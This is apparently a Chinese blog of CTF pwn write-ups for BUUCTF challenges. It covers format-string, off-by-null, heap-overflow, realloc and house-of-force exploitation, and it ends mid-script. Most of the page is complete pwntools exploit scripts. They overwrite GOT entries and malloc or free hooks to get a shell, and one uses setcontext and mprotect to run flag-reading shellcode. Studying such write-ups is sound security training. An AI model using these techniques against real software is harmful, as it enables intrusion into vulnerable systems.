1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def change_stack (stack_addr,dest_addr) : for i in range (4 ) : sla (b"please input the key:\n" ,f"%{stack_addr&0xff}c%4$hhn" ) sla (b"please input the key:\n" ,f"%{dest_addr&0xff}c%8$hhn" ) stack_addr+=1 dest_addr=dest_addr>>8 sla(b"please input the key:\n" ,b"%17$p" ) libc_base=int (r(10 ),16 )-libc.sym["__libc_start_main" ]-241 sla(b"please input the key:\n" ,b"%4$p" ) stack_addr=int (r(10 ),16 ) main_stack_addr=stack_addr+0x14 system_addr=libc_base+libc.sym["system" ] change_stack(main_stack_addr,system_addr) canshu=main_stack_addr+8 bin_sh_addr=libc_base+next(libc.search(b"/bin/sh\0" )) change_stack(canshu,bin_sh_addr) sla(b"please input the key:\n" ,f"%{(main_stack_addr-4)&0xff}c%4$hhn" ) sla(b"please input the key:\n" ,b"hello" ) it()
printf触发malloc cscctf_2019_final_babyprintf BUUCTF在线评测
这个题目是一个挺不错的题目,也是利用了malloc,但是用one)gaghtet打,因为在libc-2.27对size有了check
1 2 3 4 5 6 7 8 9 sl(b"%2$p" ) libc_base = int (rld(), 16 ) - 0x7FE3B277A8D0 + 0x7FE3B238D000 malloc_hook_addr = libc_base + libc.sym["__malloc_hook" ] one_gadget_addr = libc_base + one_gadget[1 ] payload = fmtstr_payload(8 , {malloc_hook_addr: one_gadget_addr}) sl(payload) sl(f"%{65536}c" .encode()) it()
0ctf2017_easiestprintf BUUCTF在线评测
这个题牛逼,需要看pritnf源码
printf会触发malloc
好题
牛逼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * import ctypes # shell = ssh(host="node4.buuoj.cn" , user="CTFMan" , port=26682, password="guest" ) # shell.process it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./EasiestPrintf" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 28439 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *0x804881C c " "" gdb.attach(io, gdbscript=gdbscript) sla(b"read:\n" , str(elf.got["puts" ]).encode()) libc_base = int (rld(), 16 ) - libc.sym["puts" ] malloc_hook_addr = libc_base + libc.sym["__malloc_hook" ] sh_addr = 0x0804A001 system_addr = libc_base + libc.sym["system" ] payload = ( fmtstr_payload(7 , {malloc_hook_addr: system_addr, sh_addr: b"sh\0" }) + f"%{0x0804A001-32}c" .encode() ) sla(b"Good Bye\n" , payload) it()
栈上的格式化字符串 watevr_2019_voting_machine_2 比较简单的修改got
1 2 sla(b"Topic: ",b"aa"+fmtstr_payload(8,{elf.got["exit"]:0x8420736},numbwritten=2)) it()
wustctf2020_babyfmt BUUCTF在线评测
其实题目不算复杂,主要可以通过修改一个类似于计数器的值实现两次printf,然后这个题的关键就是FILE结构
可以看到这里关闭了IO_stdout,所以需要我们提前把这个的fileno修改一下,就不会关闭
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * import binascii it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./wustctf2020_babyfmt" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 28573 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *$rebase(0xECC) b *$rebase(0xF43) c " "" gdb.attach(io, gdbscript=gdbscript) # <=4096 无洞 def add(name: bytes, sex: bytes, content: bytes): sa(b"ption--->>\n" , b"1" ) sa(b"name\n" , name) sa(b"sex\n" , sex) sa(b"information\n" , content) def edit(index: int , content: bytes): sa(b"ption--->>\n" , b"3" ) sa(b"index : \n" , str(index).encode()) sa(b"change sex?\n" , b"n" ) sa(b"information\n" , content) # 没有清空 def free (index: int ): sa(b"ption--->>\n" , b"2" ) sa(b"index : \n" , str(index).encode()) def show(index: int ): sa(b"choice : \n" , b"3" ) sa(b"index : \n" , str(index).encode()) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out sla(b"time:" , b"1 2 3" ) sla(b">>" , b"2" ) s(b"%7$n%18$p%3$p" ) secret_addr = int (r(14 ), 16 ) - 0x55DF49801050 + 0x55DF49A02060 stdout_fileno = int (r(14 ), 16 ) - 0x7F5DA2FED260 + 0x7F5DA32BB690 sla(b">>" , b"2" ) payload = b"%2c%10$n%11$s" .ljust(0x10 , b"a" ) + p64(stdout_fileno) + p64(secret_addr) s(payload) r(2 ) secret = r(0x40 ) sla(b">>" , b"3" ) sla(b"door!\n" , secret) # ru(b"\x55" ) # print(r(0x40)) it()
bbctf_2020_fmt_me BUUCTF在线评测
这个题目用的snprintf,其实和printf一样,参数位置也都是从栈上来的,只不过后把结果输出到目标 buff,并不影响
这个题目关键也是劫持控制流,由于system的参数是readonly,所以也不好修改,只能把system_got改成main函数,那么第二次把atoi改成system_plt+6,如果还是改成system_got那么就会回到main,而system_plt+6会重新解析地址,不会受现有的got干扰
1 2 3 4 5 6 7 8 9 10 11 12 sla(b"Choice: " , b"2" ) atoi_got = elf.got["atoi" ] system_plt = elf.plt["system" ] + 6 system_got = elf.got["system" ] main_addr = elf.sym["main" ] offset = 6 sa( b"ou a gift.\n" , fmtstr_payload(offset, {system_got: main_addr, atoi_got: system_plt}), ) sl(b"/bin/sh\0" ) it()
这个题目本来说来难度不大,但当时有点脑残了,导致进入了误区,同时snprintf在pwn里面也不常见,我搜出来的都是php的,所以就想分享一下
报错 有时候%9$n报错的原因要看看到底能不能写,最开始我想写rodata但一致报错,忘记不可以写了
snprintf snprintf,sprintf,printf,这些其实大同小异,n就是多了一个长度的限制,你只能有n个长度的fomrat_string,s的区别可以理解成他把printf的结果从stdout重定向到了指定的buf里面,但是printf的效果和对应的offset还是一摸一样的
%1$p rcx的值 我们之前printf的时候是字符串,所以在buff里面也是以字符串形式保存的,而不是直接保存对应的hex值
%2$p R8的值
%3$p %4$p 调用之前栈上的第一个值
%5$p 调用之前栈上的第二个值
got,plt表原理 这两个是ctf里面比较常用的结构 这是plt本身的样子,我们可以利用右键unhide 注意这里有这样的结构,plt本身是一个jmp指令,跳转的位置就是我们的got表里面保存的地址,这个地址会在第一次访问的时候被修改成对应的libc地址 +6偏移的是一个push num,num代表这个函数在plt的序号,以及另一个跳转 这个时候看起来是0,我们看看具体是怎么回事
测试代码 我们就用题目的system来测试 rdi为对应的参数地址,可以看到它call的是system@plt 这个时候先push一个返回地址,然后跳转到system@plt.然后跳转到system@got.plt 对应的地址 这个时候因为是第一次调用,可以看到system@got的地址是我们system@plt下一条指令也就是+6位置的值,那么我们就相当于从call system->system@plt->system@plt+6 这里的2就是我们对应的编号,然后jmp过去,可以看到push了一个地址,这个地址之后可以用来计算got的地址,进而填写 这里jmp的地址就是我们上图看到的第二个0,这个在运行之前会被填写成_dl_runtime_resolve_xsavec的地址 中间会调用_dl_fixup,传入的第一个参数是got里面第一个0运行后填写的值,我也不太知道这个值有什么用,第二个就是编号 这个函数会把对应got的值修改并返回对应的的地址 最最后,我们会跳转到真正要执行的函数去完成功能 我们可以看到,plt+6处的指令其实也可以有相对应的功能,只不过就是过程复杂一点,这个可以用在当got表被污染的时候,我们通过plt去执行不了,但是可以通过plt+6来执行,这个原理可以用在这个题目
堆 off by null asis2016_b00ks 这个题目漏洞还行,一个off by null,可以修改bss的堆地址,但是这个题目free不太好free edit也不太好edit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 #!/usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./b00ks" lib_path="" #lib_path="/home/zhou/glibc-all-in-one/libs/2.27-3ubuntu1_amd64" parm=elf_path #parm=[elf_path,"127.0.0.1","3339"] elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") if lib_path: libc = ELF(f"{lib_path}/libc.so.6") else: libc=elf.libc if len(sys.argv) > 1: remote_ip = "node4.buuoj.cn" remote_port = 28190 io = remote(remote_ip, remote_port) else: if lib_path: io = process(parm,env= {'LD_LIBRARY_PATH': lib_path}) else: io = process(parm) def debug(): global io gdbscript = """ b c x/20xg $rebase(0x202010) """ gdb.attach(io, gdbscript=gdbscript) def debug_force(): global io io.close() gdbscript = """ b *$rebase(0xF2B) c """ if lib_path: io=gdb.debug(parm,env= {'LD_LIBRARY_PATH': lib_path}, gdbscript=gdbscript) else: io=gdb.debug(parm, gdbscript=gdbscript) #0x1000 def add(size,name,size2,des): sla(b"> ",b"1") sla(b"Enter book name size: ",str(size)) sla(b"Enter book name (Max 32 chars): ",name) sla(b"\nEnter book description size: ",str(size2)) sla(b"Enter book description:",des) def free(idx): sla(b"> ",b"2") sla(b"Enter the book id you want to delete: ",str(idx)) def show(): sla(b"> ",b"4") def edit(idx,content): sla(b"> ",b"3") sla(b"Enter the book id you want to edit: ",str(idx)) sa(b"Enter new book description: ",content) def changeName(name): sla(b"> ",b'5') sla(b"Enter author name: ",name) # def rol(val,k): # s=bin(val)[2:] # return int(s[k:]+s[:k],2) # def ror(val,k): # s=bin(val)[2:] # return int(s[-k:]+s[:len(s)-k],2) # def convert_str_asmencode(content: str): # out = "" # for i in content: # out = hex(ord(i))[2:] + out # out = "0x" + out # return out #debug_force() sla(b"Enter author name: ",b"a"*32) add(0x18,b"1",0x18,b"1") add(0x68,b"2",0x88,b"2") add(0x18,b"3",0x18,b"3") add(0x18,b"/bin/sh\0",0x18,b"/bin/sh\0") add(0x58,b"5",0x58,b"5") free(1) free(3) free(2) add(0x18,b"0",0x18,b"1") add(0x88,p64(1)+p64(0),0x18,b"c") changeName(b"a"*32) free(1) show() ru(b"Name: ") libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7fb41b04c000-0x7fb41b410b78 free(5) add(0x18,b"0",0x18,b"0") add(0x58,p64(1)+p64(0)+p64(libc_base+libc.sym["__free_hook"])+p64(0x18),0x18,b"0") changeName(b"a"*32) edit(1,p64(libc_base+libc.sym["system"])+b"\n") free(4) it()
沙盒 ycb_2020_easy_heap BUUCTF在线评测 (buuoj.cn)
这个题目算是很复杂的了,其实整体不复杂,有一个很明显的off by null,unlink构造堆块重叠,但是我们由于题目版本过高,2.30,多了很多check,并且还是沙盒,所以很麻烦
可以看到check了prevsize和chunksize,所以一般的off by null伪造prevsize都会失败,所以我们这里自己在堆上构造一个ptr伪造unlink
泄露libc 和堆地址
首先利用off by null修改prev size和pre_inuse,然后由于我们后free的第三块,所以在第三块里伪造了第一块的堆地址,就是fake ptr,然后后面add的第三块其实是原来的第一个块,然后伪造fd bk,这里4是为了把没有用完的unsorted bin用完,保证unosrted bin为空,不然报错
这个时候可以unlink,因为我们伪造了size
这个时候伪造堆块重叠,因为第五这里
libc-2.30 tcache不可以double free因为他会遍历整个free bins
同时不能分配成负数,libc2.23可以分配成负数
所以我们只能free两个,然后利用还有的指针修改fd
由于开了沙盒,所以要用setcontext 这里setcontext也变复杂了,用的是rdx,所以我们要先把rdx修改然后再来setcontext,但整体srop没有变
很牛逼的gadget,其中rdx就是[rdi]+8,function[rdx+0x20]
1 mov rdx, qword ptr [rdi + 8 ] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20 ] 0x0000000000154b90
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 heap_start_addr=heap_addr+0x50 #srop mem的地址 rop_start_addr=0xb0 +heap_start_addr#就是我们srop头结束的位置,也就是fake stack 加shellcode payload=p64(0 )+p64(heap_start_addr)+p64(0 )*2 +p64(libc_base+libc.sym["setcontext" ]+61 )#一个是rdx,一个是function payload=payload.ljust(0x68 ,b"\0" ) payload=payload+p64(rop_start_addr&0xfffffffffffff000 )+p64(0x1000 )+p64(0 )*2 +p64(7 )+p64(0 )*2 +p64(rop_start_addr+8 )+p64(libc_base+libc.sym["mprotect" ])#这里没变 shellcode=f"" " xor rsi,rsi; xor rdx,rdx; push rdx; mov rax,{convert_str_asmencode(" flag")}; push rax; mov rdi,rsp; xor rax,rax; mov al,2; syscall; mov rdi,rax; mov dl,0x40; mov rsi,rsp mov al,0; syscall; xor rdi,rdi; mov al,1; syscall; " "" payload+=p64(0 )+p64(rop_start_addr+0x10 )+asm (shellcode) add(len(payload))#6 edit(6 ,payload)
最后就是淦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ycb_2020_easy_heap" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =29270 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *$rebase(0x1730) c x/10xw $rebase(0x4060) x/10xg $rebase(0x4460) " "" gdb.attach(io, gdbscript=gdbscript) sleep(1 ) def add(size): sla(b"Choice:" , b"1" ) sla(b"Size: " ,str(size)) def free (index): sla(b"Choice:" , b"3" ) sla(b"Index: " ,str(index)) def show(index): sla(b"Choice:" , b"4" ) sla(b"Index: " ,str(index)) def edit(index,content): sla(b"Choice:" , b"2" ) sla(b"Index: " ,str(index)) sa(b"Content: \n" ,content) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out add(0x418 )#0 add(0x18 )#1 add(0x4f8 )#2 add(0x28 )#3 free (0 )add(0x28 )#0 show(0 ) ru(b"Content: " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-0x7f82d01d4fd0 +0x7f82cffea000 free (0 )free (3 )add(0x28 )#0 show(0 ) ru(b"Content: " ) heap_addr=u64(rud(b"[" ).ljust(8 ,b"\0" )) edit(1 ,b"a" *0x10 +p64(0x430 )) edit(0 ,p64(heap_addr)) add(0x28 )#3 ptr_addr=heap_addr+0x940 edit(3 ,p64(0 )+p64(0x431 )+p64(ptr_addr-0x18 )+p64(ptr_addr-0x10 )) add(0x3e8 )#4 free (2 )add(0x18 )#2 add(0x18 )#5 free (2 )free (4 )edit(5 ,p64(libc_base+libc.sym["__free_hook" ])) add(0x18 )#2 add(0x18 )#4 #mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20] 0x0000000000154b90 edit(4 ,p64(libc_base+0x0000000000154b90 )) heap_start_addr=heap_addr+0x50 rop_start_addr=0xb0 +heap_start_addr payload=p64(0 )+p64(heap_start_addr)+p64(0 )*2 +p64(libc_base+libc.sym["setcontext" ]+61 ) payload=payload.ljust(0x68 ,b"\0" ) payload=payload+p64(rop_start_addr&0xfffffffffffff000 )+p64(0x1000 )+p64(0 )*2 +p64(7 )+p64(0 )*2 +p64(rop_start_addr+8 )+p64(libc_base+libc.sym["mprotect" ]) shellcode=f"" " xor rsi,rsi; xor rdx,rdx; push rdx; mov rax,{convert_str_asmencode(" flag")}; push rax; mov rdi,rsp; xor rax,rax; mov al,2; syscall; mov rdi,rax; mov dl,0x40; mov rsi,rsp mov al,0; syscall; xor rdi,rdi; mov al,1; syscall; " "" payload+=p64(0 )+p64(rop_start_addr+0x10 )+asm (shellcode) add(len(payload))#6 edit(6 ,payload) free (6 )it()
堆溢出 others_pwn1 BUUCTF在线评测 (buuoj.cn)
一个傻逼题,直接溢出修改指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./pwn1" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =27903 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *0x400C22 c x/10xg 0x602060 " "" gdb.attach(io, gdbscript=gdbscript) sleep(1 ) #name有一处 def add(name,content): sla(b">> " , b"1" ) sa(b"Please give me the book's name :\n" ,name) sa(b"Please input the description about the book:\n" ,content) sla(b"How many book you want to take?\n" ,b"1" ) def free (index): sla(b">> " , b"4" ) sla(b"Which book you want to delete?\n" ,str(index)) def show(): sla(b">> " , b"2" ) def edit(index,content): sla(b">> " , b"3" ) sla(b"Which book you want to edit?\n" ,str(index)) sa(b"Please give me the book's name :\n" ,content) sla(b"Do you want to change the description?(y/n)" ,b"n" ) sla(b"How many book you want to take?" ,b"1" ) add(b"a" ,b"b" *0x80 ) edit(0 ,b"a" *0x48 +p64(elf.got["puts" ])) show() ru(b"description: " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-0x7fcd58e6a690 +0x7fcd58dfb000 sla(b">> " , b"3" ) sla(b"Which book you want to edit?\n" ,b"0" ) sa(b"Please give me the book's name :\n" ,b"/bin/sh\0" .ljust(0x48 ,b"a" )+p64(libc_base+libc.sym["__free_hook" ])) sla(b"Do you want to change the description?(y/n)" ,b"y" ) sa(b"Please input the description about the book:\n" ,p64(libc_base+libc.sym["system" ])) sla(b"How many book you want to take?" ,b"1" ) free (0 )it()
realloc roarctf_2019_realloc_magic https://buuoj.cn/challenges#roarctf_2019_realloc_magic
挺好的题目,出题也很高端,从realloc的机制以及IO attack,都很好
free不清空,可以double free
realloc分配
用来清空一次ptr,不然realloc打IO之后打不了
realloc用到的几种情况
ptr≠NULL,size=0,相当于free
ptr==NULL,size≠NULL,相当于malloc
ptr≠NULL,size>,会尝试合并后面的,如果后面是top chunk就直接切割top chunk调整大小,如果后面的是free状态就会unlink,(所以要打unsorted bin)
1 2 3 4 5 6 add(0x18 ,b"a" ) add(0 ,b"" ) add(0x88 ,b"a" ) add(0 ,b"" ) add(0x28 ,b"a" ) add(0 ,b"" )
最后0x28是防止top chunk和unsorted bin合并,必须要用add 0,因为这样才可以让ptr==NULL,然后调用malloc
1 2 3 4 5 6 7 8 9 10 11 add(0x18 ,b"a" ) add(0 ,b"" ) add(0x88 ,b"a" ) add(0 ,b"" ) add(0x28 ,b"a" ) add(0 ,b"" ) add(0x88 ,b"a" ) for i in range (7 ) : free () add (0 ,b"" )
重新拿到0x88,然后free 7次,再利用realloc free掉进入unsorted bin同时ptr==NULL
1 2 3 4 5 add(0x18 ,b"a" )#拿到0x18 的块,如果pt!=NULL 拿不到 add(0xa8 ,p64(0 )*3 +p64(0x21 )+p16(0xa760 ))#利用realloc 合并的性质,和我们的unsorted bin合并掉,同时tcahce posiont,伪造size,同时把fd修改为_IO_2_1_stdout_的地址,这里需要爆破 add(0 ,b"" )#ptr变成空 add(0x88 ,b"a" )#这个时候由于0x88 里面有两个堆,先要malloc 一个出来 add(0 ,b"" )#这个时候free 由于size伪造就不会进入0x88 ,我们就可以malloc 到IO那里取
tcache position的原因就是在malloc取tcahe的时候,不会再一次校验tcache的大小,只会看看里面是不是有bins
1 2 3 fake_stdout=p64(0x00000000fbad3887 )+p64(0 )*3 +p8(0x58 ) add(0x88 ,fake_stdout)#这个时候就直接修改了stdout 这里面需要注意的几个地方
puts会调用_IO_sputn
基本的flag不需要改动,都会正常判断
由于我们puts的时候输出缓冲区是满的,所以也不需要修改
其实修不修改也无所谓,关键就是要进入到_IO_overfollow,因为当输出缓冲区有空间的时候,我们就直接把内容copy到输出缓冲区,然后再刷新io,如果没有空间,就可能要分配空间或者刷新,我们要利用的就是刷新缓冲区
进入overfollow,里面会调用do_wrtie,所以我们要伪造write_base,并且要小于ptr,一般就是修改最后一位,找到更小的地方并且可以泄露libc的,其实很多,因为std结构都在附近,我们这里选用stdeer的jmp table
new_do_write,这里比较关键,由于我们要修改write_base必须要2覆盖掉IO_read_end,所以一旦进入else if就挂了,我们必须要进入if,所以就要有0x1000,所以我加上了0x1000,跟原来的IO比较,然后就可以write进行输出了
当有 libc地址了,需要把ptr置为0,不然我们无法开启新的一轮操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 add(0x38 ,b"a" ) add(0 ,b"" ) add(0x98 ,b"a" ) add(0 ,b"" ) add(0x48 ,b"a" ) add(0 ,b"" ) add(0x98 ,b"a" ) for i in range (7 ) : free () add (0 ,b"" ) add (0x38 ,b"a" ) add (0xd8 ,p64(0 )*7 +p64(0x41 )+p64(libc_base+libc.sym["__free_hook" ]-0x8 )) add (0 ,b"" ) add (0x98 ,b"a" ) add (0 ,b"" ) add (0x98 ,b"/bin/sh\0" +p64(libc_base+libc.sym["system" ])) free ()
其实后面差不多,基本一模一样了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./roarctf_2019_realloc_magic" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] def debug(): gdbscript = "" " b *$rebase(0xA2A) c x/xg $rebase(0x202058) " "" gdb.attach(io, gdbscript=gdbscript) def add(size,content): sla(b">> " , b"1" ) sla(b"Size?\n" ,str(size)) sa(b"Content?\n" ,content) def free (): sla(b">> " , b"2" ) while True: remote_ip = "node4.buuoj.cn" remote_port =27573 io = remote(remote_ip, remote_port) add(0x18 ,b"a" ) add(0 ,b"" ) add(0x88 ,b"a" ) add(0 ,b"" ) add(0x28 ,b"a" ) add(0 ,b"" ) add(0x88 ,b"a" ) for i in range(7 ): free () add(0 ,b"" ) add(0x18 ,b"a" ) add(0xa8 ,p64(0 )*3 +p64(0x21 )+p16(0xa760 )) add(0 ,b"" ) add(0x88 ,b"a" ) add(0 ,b"" ) fake_stdout=p64(0x00000000fbad3887 )+p64(0 )*3 +p8(0x58 ) add(0x88 ,fake_stdout) content=io.recvuntil(b"\x7f" ,timeout=2 ) if content==b"" : io.close() continue libc_base=u64(content.ljust(8 ,b"\0" ))-libc.sym["_IO_file_jumps" ] sla(b">> " , b"666" ) add(0x38 ,b"a" ) add(0 ,b"" ) add(0x98 ,b"a" ) add(0 ,b"" ) add(0x48 ,b"a" ) add(0 ,b"" ) add(0x98 ,b"a" ) for i in range(7 ): free () add(0 ,b"" ) add(0x38 ,b"a" ) add(0xd8 ,p64(0 )*7 +p64(0x41 )+p64(libc_base+libc.sym["__free_hook" ]-0x8 )) add(0 ,b"" ) add(0x98 ,b"a" ) add(0 ,b"" ) add(0x98 ,b"/bin/sh\0" +p64(libc_base+libc.sym["system" ])) free () it()
这里可以看出来,利用stdout泄露很简单,puts就可以利用,然后我们只需要把write_base修改一下,然后flag加上0x1000就好,十分的轻松
house of force
题目中没有给free之类的接口
可以修改top chunk的size
可以分配较大的size如-0x30
其实house of force和house of orange两种大概的条件差不多,都需要伪造一个top chunk的size,但是house of force尽量要伪造的很大如-1,然后保证我就算malloc(-0x40)也可以分配,这个达到的效果就是top chunk的整体迁移,如果我们迁移到bss上去了,后面再malloc之后就可以改掉对应的堆指针
但是house of orange要尽量的伪造小,进入sysmalloc里面free掉top chunk,这样就多了一个unsorted bin,后面的利用就参考unsorted bin打法
bcloud_bctf_2016 BUUCTF在线评测 (buuoj.cn)
这个题绝了,其实主函数没有漏洞,add edit free都十分完美,但漏洞居然是出在init里面,是我没有分析周全
这里用的是strcpy,本来没有漏洞,因为我们会自动加上一个\x00,而且malloc的size也溢出不了,但是这里v2在之后赋值,刚好会覆盖掉\x00,导致后面pritnf name泄露了堆地址
这里也是同理,s输入之后\x00截断会被v2覆盖,然后我们的v3又是在v2的后面,所以strcpy(v2,s)其实是strcpy(v2,s,v2,v3),然后v2堆分配又在v4后面,所以就可以直接溢出到topchunk
1 2 3 4 5 6 7 sa(b"Input your name:\n" ,b"a" *63 +b"b" ) ru(b"b" ) heap_addr=u32(r(4 ))#泄露堆地址 top_chunk_addr=0xd0 +heap_addr bss_adr=0x804B120 sa(b"Org:\n" ,b"a" *64 ) sla(b"Host:\n" ,p32(0xfffffff1 ))#刚好就覆盖了size,修改为比较大的值
1 2 3 4 5 6 7 8 9 10 11 add(bss_adr-top_chunk_addr-4 -0x10 ,b"" )#通过这一步,我们的top chunk迁移到了bss地方 add(0x18 ,b"a" )#这个堆地址就是我们的bss ptr add (0x18 ,b"b" ) #这个用来修改free gotadd (0x18 ,b"/bin/sh\0" ) #用来getshelledit (1 ,p32(elf.got["puts" ])+p32(bss_adr+0x10 )+p32(elf.got["free" ])+p32(bss_adr+0x40 )) #由于有00截断,所以要手动填写地址edit (2 ,p32(elf.plt["puts" ])) #修改free got为put pltfree (0 ) #泄露libclibc_base=u32(ru(b"\xf7" ))-libc.sym["puts" ] edit(2 ,p32(libc_base+libc.sym["system" ]))#覆盖free got为system free (3 ) #getshell it ()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./bcloud_bctf_2016" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 27585 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *0x8048A19 c x/10xw 0x804B120 x/10xw 0x804B0A0 " "" gdb.attach(io, gdbscript=gdbscript) def add(size, content): sla(b"option--->>\n" 